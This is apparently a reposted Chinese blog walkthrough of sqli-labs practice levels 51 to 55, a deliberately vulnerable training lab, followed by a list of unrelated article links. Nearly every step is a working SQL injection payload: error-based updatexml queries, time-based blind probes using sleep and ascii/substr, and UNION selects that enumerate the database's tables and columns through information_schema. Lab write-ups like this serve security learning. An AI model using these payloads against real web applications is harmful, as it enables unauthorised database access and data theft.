当前位置: 首页 > news >正文

sqli-labs靶场通关攻略(51-60)

Less-51

1、判断闭合方式

输入?sort=1' --+  页面闭合成功
  2、查询数据库

输入?sort=-1' and updatexml(1,concat(1,database()),1) --+

3、查询数据库中的表

输入?sort=-1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),1) --+

4、查询users表中的列

输入?sort=-1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

Less-52

1、判断闭合方式

输入?sort=1 --+ ,页面闭合成功

2、查询数据库长度

输入?sort=1 and if(length(database())>7,sleep(3),1) --+  页面延时三秒

输入?sort=1 and if(length(database())>8,sleep(3),1) --+ 页面回显正常

得出数据库长度为8

3、查询数据库名

输入?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1),页面延时三秒

输入?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1) 页面回显正常

得出第一位字符的ASCII值为115,结合ASCII表得出的一个字符为‘s’

再依次类推得出数据库名为‘security’

4、查询数据库中的表

输入?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)  页面延时三秒

输入?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)    页面回显正常

得出表的第一个字符的ascii值为101,结合ASCII表得出第一个字符为‘e’

再依次类推,得出第一个数据库为‘email’

Less-53

1、判断闭合方式

输入?sort=1' --+  页面闭合成功

2、查询数据库名

输入?sort=1' and if((ascii(substr(database(),1,1))>114),sleep(3),1)--+

 页面延时三秒

输入?sort=1' and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+

 页面正常回显

说明第一个字符大于114不大于115 即第一位字符ascii码等于115

结合ASCII表得出的一个字符为‘s’

再依次类推,得出数据库名为‘security’

3、查询数据库中的表

输入?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+ 

页面延时三秒

输入?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+

页面正常回显

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

Less-54

1、查询数据库名

?id=-1'union select 1,2,database()--+

2、查询数据库中的表名

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

3、查询users表中所有列

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

Less -55

1、查询数据库名

?id=-1)union select 1,2,database()--+

2、查询数据库中所有表

?id=-1)union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

3、查询users表中所有列

?id=-1)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+


http://www.mrgr.cn/news/16969.html

相关文章:

  • 深入探索C语言中的各种Sleep方法
  • 一分钟学会系列-1电烙铁(焊台)
  • 【惊天BUG】select * from 表 where value = 0;查询结果让大师兄都傻眼了
  • 大模型web服务部署—lobe-chat 部署
  • 6种方法:如何克服编程挫折,找到突破的学习方法
  • 折叠cell的学习
  • 【Python百日进阶-Web开发-Peewee】Day298 - 骇客 Hacks
  • 计算机毕业设计选题推荐-公司考勤管理系统-Java/Python项目实战
  • python 地理抠图
  • 爬虫常用模板
  • 足浴城消费系统小程序的设计
  • Python知识点:如何使用Coverage进行代码覆盖率分析
  • 中国文化艺术孙溟展浅析《绛帖》
  • 音视频开发之旅(90)-Vision Transformer论文解读与源码分析
  • 文心快码前端工程师观点分享:人机协同新模式的探索之路(一)
  • 设计模式之中介者模式
  • 常用排序算法(上)
  • 0901python打印异常信息
  • iOS面试:在block内如何修改block外部变量?
  • 火绒安全与国际对手:全面对比与分析